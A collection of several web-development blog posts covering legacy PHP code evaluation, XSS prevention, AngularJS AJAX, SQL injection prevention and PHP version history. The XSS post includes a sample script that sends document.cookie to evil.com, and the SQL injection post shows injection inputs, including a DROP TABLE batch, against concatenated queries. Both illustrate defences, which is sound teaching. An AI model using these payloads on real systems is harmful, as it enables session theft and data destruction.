Legacy Code Evaluation Part 1 – Intro

All of us will encounter legacy code, and most of us will ‘inherit’ code to maintain. Even on the freshest of projects 99 % of the time you will encounter some ‘baggage’ code that we will have to maintain. This is especially true as a contractor for any PHP project. Deservedly or not, PHP has a bad reputation for code quality

The good news is that you can mitigate some of the worst aspects of a legacy project by doing some work up front. Making sure you have all the assets you need up front can prevent embarrassing emails to the client asking for random things and generally making your life easier.

For this first of three blog posts about legacy code, we’ll spit this into two lists: Things you need and nice to haves.

Things you need:

Server Access 

This should be a no brainer. You need access to the server to make sure you have the most up to date code, and hopefully you will be deploying some updates in the near future. Yes, this may seem very obvious but you would be surprised how easy it is to forget this step in the excitement of a new project.

Ask the client how they access and how the previous team accessed the server. Make sure you try and actually login with these credentials as well. After you successfully get access, you may need to deactivate or in the minimum change some passwords of the previous server users.

Code in Version Control

You will also want access to the most up to date version of the codebase, hopefully in a form of version control. Again, while this seems like a no-brainer, it is very important to track changes you make once you start to dig into the code. It can also provide some information as to what the previous developer was thinking with the code in the past.

Once you have access to this you can convert it to your VCS of choice or continue to use the one provided. You will really want to consider keeping the VCS the same if you are working with other existing teams or with the client who needs access to the code.

It is also worth your time to ensure that the code in the VCS is sync’d and up to date with what is on the production server. There are many file comparison tools that can be used to compare entire directories which we will cover in our next post. While you can assume a previous team who had a code base in version control has kept things up to date… like the Russians say: Trust, but verify.

Documentation

Ask for any documentation the client can provide, good or bad. Something is better than nothing.

You should also plan on converting this into some form of living document you can edit and share easily. A self hosted wiki works great for tracking changes, but so does a markdown file stored in the repo itself. Anything easy to edit will remove another barrier that will prevent you from updating documentation, and already loathsome task.

You should be documenting everything as you explore the project. Document the file and database structure, document the existing workflows. Ask the client how things “should work” and then note how things are broken. Get it all into a living document so you can track your progress.

Nice to Haves:

A Shared Project Management System

Create a method in which you can communicate your project status with the customer. This will also provide a great resource in which you and the client can document bugs and future updates.

A shared system will allow you to manage your project beyond instant messages and emails. It also provides instant feedback to the client allowing them to see ‘exactly what they are paying you for’ and allows for the easier exchange of ideas.

If you’re lucky, the client may already have one (and be trained on how to use it.) It’s also very likely the client does not know how or what a Project Management System is, in which case priority number one is showing them how it is useful.

A separate Staging and local development environment

Tools like Docker and Vagrant allow you to spin up servers quickly and provide tools to re-recreate the server after you mess it up. This will become very important as you dig in and mess things up while trying to determine exactly what is wrong.

Our next post will focus on some frameworks and tools we commonly use to evaluate legacy code. We’ll also provide some basic examples of how to use these tools.

XSS: Cross Site Scripting

Introduction

This is probably the most common vulnerability these days on Internet Web Apps. Consist in inject client-side scripts in web pages viewed by other users.

What is Cross-Site Scripting?

XSS occurs when an attacker is capable of injecting a script, often Javascript, into the output of a web application in such a way that it is executed in the client browser.

Even when it’s usually underestimated by developer, injected Javascript can be used to accomplish a lot of damage like: steal cookies and sessions, steal user’s entity to perform request, redirect to hostile hosts, manipulating client-side persistent storage, rewriting or manipulating in-browser applications, attacking browser extensions, and the list goes on.

Types of Cross-Site Scripting Attacks

This kind of attacks can be split in two big categories: The first lies in how malicious input navigates the web application, while the second attempt to include the malicious input within the output of current request.

  • Reflected XSS Attack: Untrusted input sent to a web application is immediately included in the application’s output. Reflection can occur with error messages, search engine submissions, comment previews, etc. This form of attack can be mounted by persuading a user to click a link or submit a form of the attacker’s choosing.
  • Stored XSS Attack: A Stored XSS attack is when the payload for the attack is stored somewhere and retrieved as users view the targeted data. While a database is to be expected, other persistent storage mechanisms can include caches and logs which also store information for long periods of time.
  • DOM-based XSS Attack: DOM-based XSS can be either reflected or stored and the differentiation lies in how the attack is targeted. Most attacks will strike at the immediate markup of a HTML document. However, HTML may also be manipulated by Javascript using the DOM. An injected payload, rendered safely in HTML, might still be capable of interfering with DOM operations in Javascript. There may also be security vulnerabilities in Javascript libraries or their usage which can also be targeted.

How to prevent

Here I will show you a list of topic you should have in mind.

Input Validation

Input Validation is any web application’s first line of defence.Validation works best by preventing XSS attacks on data which has inherent value limits. An integer, for example, should never contain HTML special characters. An option, such as a country name, should match a list of allowed countries which likewise will prevent XSS payloads from being injected.

Input Validation can also check data with clear syntax constraints.

Escaping (also Encoding)

Escaping data on output is a method of ensuring that the data cannot be misinterpreted by the currently running parser or interpreter. The method of escaping varies depending on which Content data is being injected into. The most common Contexts: HTML Body, HTML Attribute, Javascript, URL and CSS.

Content-Security Policy

The Content-Security Policy (CSP) is a HTTP header which communicates a whitelist of trusted resource sources that the browser can trust. Any source not included in the whitelist can now be ignored by the browser since it’s untrusted. Consider the following:

X-Content-Security-Policy: script-src ‘self’

This CSP header tells the browser to only trust Javascript source URLs pointing to the current domain and ignore the rest.

If we need to use Javascript from another source besides ‘self’, we can extend the whitelist to include it. For example, let’s include jQuery’s CDN address.

 

X-Content-Security-Policy: script-src ‘self’ http://code.jquery.com; style-src ‘self’

Browser Detection

HTML Sanitisation

At some point we might need to include external HTML without escaping it. An example of that can be blog comments.

If we were to escape the resulting HTML markup from those sources, they would never render correctly so we instead need to carefully filter it to make sure that any and all dangerous markup is neutralised.

For example:

I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://evil.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>

There’s no need to panic. I swear I am just plain text!

Markdown is a popular alternative to writing HTML but it also allows authors to mix HTML into Markdown. It’s a perfectly valid Markdown feature and a Markdown renderer won’t care whether there is an XSS payload included.

In order to prevent here is an example of a PHP library: HTMLPurifier

// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set(‘Core’, ‘Encoding’, ‘UTF-8’);
$config->set(‘HTML’, ‘Doctype’, ‘HTML 4.01 Transitional’);
// Create the whitelist
$config->set(‘HTML.Allowed’, ‘p,b,a[href],i’); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);

Final remarks and cheat sheets

Always the first step to prevent almost all kind of attack is to clean/sanitize all inputs and outputs.

Security workflow should traversal to the whole lifecycle of the project, is not just a patch we can apply at some point to fix all problems. It should be think from the design stage.

In addition to the above words, and to finish this post, I will share a couple of cheat sheets that would help you in the develop/implementation stages.

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

AngularJS 2 & AJAX

Intro

The AJAX paradigm really launched the web into primetime some 10+ years ago, but now its almost expected. Now it’s a ubiquitous part of the web landscape. Most web apps now resemble an ‘app’ in regards to their UX and users ‘expect’ content to dynamically update without a page refresh. In the past, we have used some great tools like jQuery to cobble together a basic app to interact with our page and an AJAX backend, but a framework like AngularJS adds some sanity and structure to what could have been a mess of spaghetti code.

The most common use cases for AJAX are dynamic content and form interactions. For example, if you have a large list of tabular data, you can load it via AJAX to show your basic page to a user without having to render the table on the server. Forms can be validated with JS and sent to the server in the ‘background’ so the user doesn’t have to leave the page. There are MANY other use cases for AJAX, but I think this covers the majority you will encounter when developing a web app.

HTTP / XHR

Most browsers you will encounter, or your clients will use, will have access to the HTTP API known as XHR (it’s safe to assume that anything above IE 5.6 will allow you access to this API). While some browsers offer Fetch support, I will skip that for the purposes of this blog post.

AngularJS Services

In general, you will provide AJAX access via a service. Services are a part of the Dependency Injection patten that makes AngularJS so modular. Creating a piece of code that allows you to encapsulate all actions that make AJAX calls allows for better re-use and easier testing.

Observables vs Promises

Too often used tools/patters for working with asynchronous data structures are Observables and Promises. While you may be familiar with Promises as a pattern, and most likely have used something like promises in the past, Observables are a pretty new concept to me.

In short, Observables are “a push based collection” using the observer pattern. Put simply, this is a queue of objects with some amazing manipulation methods and hooks to allow you to detect when something occurs within the queue. It’s pretty great for dealing with a dataset that needs to be lazy loaded or can possibly get updated in the life cycle of the application.

Here is a simple example based on the angular.io Hall of Heros example showing an observable request:

image

A promise is “a way to define actions or computations once an async event completes”; an observable is “way to define computations or actions that happen when one or more events in a stream occur”.

Here is a simple example based on the angular.io Hall of Heros example showing an promise based request:

image

The key take away from comparing these two tools: observables and promises are both great tools for async programming like AJAX, but observables are more like a stream of data than a ‘one time request of data’. We’ll touch more on this in future blog posts.

Here are some code examples that borrow very heavily from the HTTP Client example found on the Angular.io site.

Code Example: Promise

http://plnkr.co/edit/aB69cfM5soJzz9SPf1e7

Code Example: Observable

http://plnkr.co/edit/t6zDqSAjGNvSKNzIQJtR

Injection Flaws: Part 2

SQL Injection

How to detect and prevent

The only way to detect flaws in your system is through deep testing.

Fortunately, there’s a set of tools recommended by OWASP, that may help you on this task. W3AF (w3af is a Web Application Attack and Audit Framework), Web Scarab (WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server) and BURP (Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process), just to mention some examples from the top of my head.

The general rule is to clean up all inbound and outbound.

This means you should ensure, in the first step, that you’re rejecting or deleting invalid characters. To do that you can use any sanitise library, PHPSanitizer as example mentioned on a previous post (Security in Web-apps: Overview).

Following with the process of harden our system, lets continue with SQL Injection, that can be tackled with code best practices. (the others might need some server configuration as part of the solution)

We can follow the next steps as a cheat sheet that will help to prevent most of the attacks.

  • Use of Prepared Statements (Parameterized Queries)

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

  • Use of Stored Procedures

Stored procedures have the same effect as the use of prepared statements when implemented safely (this means without dynamic query generation) which is the norm for most stored procedure languages. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application.

  • Escaping all User Supplied Input

This technique is based on escape the inputs before put them in the query – I strongly recommend that use this technique in addition with other – for instance, using a library suggested at the top of this section.

For this technique, you should also take care on specific DBMS escaping character information, in the following link is an example of Oracle Escaping information

http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

In addition to

  • Principle of Least Privilege

In order to minimize  the potential damage of a success injection, you shouldn’t use a DBA privileged user, but instead, connect with a user that has the minimum privileges required by the system. You also shouldn’t run your DBMS as root, sometimes DBMS allow to execute OS instructions. This is not matter of data you store in your database only.

Examples

Based on the next statement I’m going to show the most common SQL vectors:

Based on 1=1 is Always True

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

SELECT * FROM Users WHERE UserId = 105 or 1=1

Result, this will list all records in Users table, no matter of the UserId.

Based on “”=“” is Always True

uName = getRequestString("UserName");
uPass = getRequestString("UserPass");

sql = "SELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + “'"

Result, this will list all records in Users table, no matter of the UserName nor UserPass.

Based on Batched SQL Statements

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers

Result, you will lost Suppliers table.

This is just a quick start on Injection prevention, security should be implemented in layers.

In our next post, we will talk about Cross Site Scripting (XSS), definition and tips to dealing with it.

Evolution of the PHP Language

PHP is a language for the web, the most popular one in fact.  That’s not to say it’s the best, or the worst for that matter but the number of webpages powered by PHP outweighs all the other languages including JAVA, python, Ruby on Rails, etc.

On the heels of the launch of PHP 7, I thought it would be interesting to see the evolution of PHP.  The focus here is mostly on the evolution of PHP starting with PHP 5.0 which was released almost a decade ago.  Objects were introduced in Version 4, but PHP didn’t really become a more modern object oriented language until version 5.  It’s when the language really started to grow up.

Let’s take a look at what each version of 5 brought us.

PHP 5.0

Version 5 continues the move toward object oriented programming

New Features

  • Zend Engine 2, which greatly improved PHP’s performance
  • MySQLi, or improved MySQL, was introduced
  • SQLite is now built into PHP

For more information check out, http://php.net/manual/en/migration5.incompatible.php

PHP 5.1

New Features and Improvements

  • Support for custom autoloading was eventually a game changer for PHP framework creators
    • spl_autoload_register in PHP 5.1.2
  • A complete rewrite of date handling code, with improved timezone support.
  • Significant performance improvements compared to PHP 5.0.X.
  • PDO extension is now enabled by default.
  • Over 30 new functions in various extensions and built-in functionality.
  • Over 400 various bug fixes

For more information check out, http://php.net/manual/en/migration51.changes.php

PHP 5.2

New Features

  • Improved memory manager and increased default memory limit. The new memory manager allocates less memory and works faster than the previous incarnation.
  • New Extensions (The following are new extensions added (by default) as of PHP 5.2.0)
    • Filter – validates and filters data, and is designed for use with insecure data such as user input. This extension is enabled by default; the default mode RAW does not impact input data in any way.
    • JSON – implements the JavaScript Object Notation (JSON) data interchange format. This extension is enabled by default.
    • Zip – enables you to transparently read or write ZIP compressed archives and the files inside them.

PHP 5.3

One of the most important updates to PHP that I can think of.  Don’t be surprised if you come across a site that is still running version 5.3 (however this is not recommended 😉

New Features

  • Support for namespaces has been added
  • Support for Late Static Bindings has been added
  • Support for jump labels (limited goto) has been added.
  • Support for native Closures (Lambda/Anonymous functions) has been added.
  • There are two new magic methods, __callStatic() and __invoke().
  • Nowdoc syntax is now supported, similar to Heredoc syntax, but with single quotes.
  • It is now possible to use Heredocs to initialize static variables and class properties/constants.
  • Heredocs may now be declared using double quotes, complementing the Nowdoc syntax.
  • Constants can now be declared outside a class using the const keyword.
  • The ternary operator now has a shorthand form: ?:.
  • The HTTP stream wrapper now considers all status codes from 200 to 399 to be successful.
  • Dynamic access to static methods is now possible

For more information check out, http://php.net/manual/en/migration53.new-features.php

PHP 5.4

Traits and built in development web server are really cool.  Although they have been here since 5.4 some folks are just now using them.

New Features

  • Support for traits has been added.
  • Short array syntax has been added, e.g. $a = [1, 2, 3, 4]; or $a = [‘one’ => 1, ‘two’ => 2, ‘three’ => 3, ‘four’ => 4];.
  • Function array dereferencing has been added, e.g. foo()[0].
  • Closures now support $this.
  • <?= is now always available, regardless of the short_open_tag php.ini option.
  • Class member access on instantiation has been added, e.g. (new Foo)->bar().
  • Class::{expr}() syntax is now supported.
  • Binary number format has been added, e.g. 0b001001101.
  • Improved parse error messages and improved incompatible arguments warnings.
  • The session extension can now track the upload progress of files.
  • Built-in development web server in CLI mode.

the <?= tag has been a contentios item in some code bases, especially with larger teams, it’s great that it is always available now.  It’s cleaner and easier to write than <?php echo

For more information check out, http://php.net/manual/en/migration54.new-features.php

The page on traits is worth a read too, http://php.net/manual/en/language.oop5.traits.php

PHP 5.5

New Features

  • finally keyword added
  • password_hash()
  • foreach now supports list()
  • empty() supports arbitrary expressions
  • array and string literal dereferencing
  • Generators added

For more information check out, http://php.net/manual/en/migration55.new-features.php

To learn more about Generators read, http://php.net/manual/en/language.generators.overview.php

PHP 5.6

New Features

  • Constant expressions
  • Variadic functions can now be implemented using the … operator, instead of relying on func_get_args().
  • Arrays and Traversable objects can be unpacked into argument lists when calling functions by using the … operator. This is also known as the splat operator in other languages, including Ruby.
  • A right associative ** operator has been added to support exponentiation, along with a **= shorthand assignment operator.
  • use function and use const
    • The use operator has been extended to support importing functions and constants in addition to classes. This is achieved via the use function and use const constructs, respectively.
  • phpdbg – PHP now includes an interactive debugger called phpdbg implemented as a SAPI module.
  • Default character encoding
  • php://input is reusable
  • Files larger than 2 gigabytes in size are now accepted.
  • GMP supports operator overloading
  • hash_equals() for timing attack safe string comparison
  • The __debugInfo() magic method has been added to allow objects to change the properties and values that are shown when the object is output using var_dump().
  • gost-crypto hash algorithm
  • SSL/TLS improvements
  • pgsql async support

For more information check out, http://php.net/manual/en/migration56.new-features.php

PHP 6?

PHP 6 was a false start and development was eventually abandoned in favor of V7.  I never used it but from the sound of it I didn’t miss much.

If for some reason you are using PHP 6, upgrade to 7 ASAP!

PHP 7

As mentioned earlier, PHP 7 is huge step forward.  Type declarations will make code less error prone and the the 2x speed improvement will speed up your site.

New Features

  • Scalar type declarations
    • Scalar type declarations come in two flavours: coercive (default) and strict. The following types for parameters can now be enforced (either coercively or strictly): strings (string), integers (int), floating-point numbers (float), and booleans (bool). They augment the other types introduced in PHP 5: class names, interfaces, array and callable.
  • Return type declarations
  • Null coalescing operator
  • The null coalescing operator (??) has been added as syntactic sugar for the common case of needing to use a ternary in conjunction withisset(). It returns its first operand if it exists and is not NULL; otherwise it returns its second operand.
  • Spaceship operator (<=>)
  • Constant arrays using define()
  • Anonymous classes
  • Closure::call()
  • Filtered unserialize()
  • Expectations
  • Group use declarations
  • Generator Return Expressions
  • Generator delegation
  • Session options
  • preg_replace_callback_array()
  • CSPRNG Functions
  • list() can always unpack objects implementing ArrayAccess

For more information check out, http://php.net/manual/en/migration70.new-features.php

Other useful PHP7 links

Bonus Points

Do you remember what PHP stood for originally?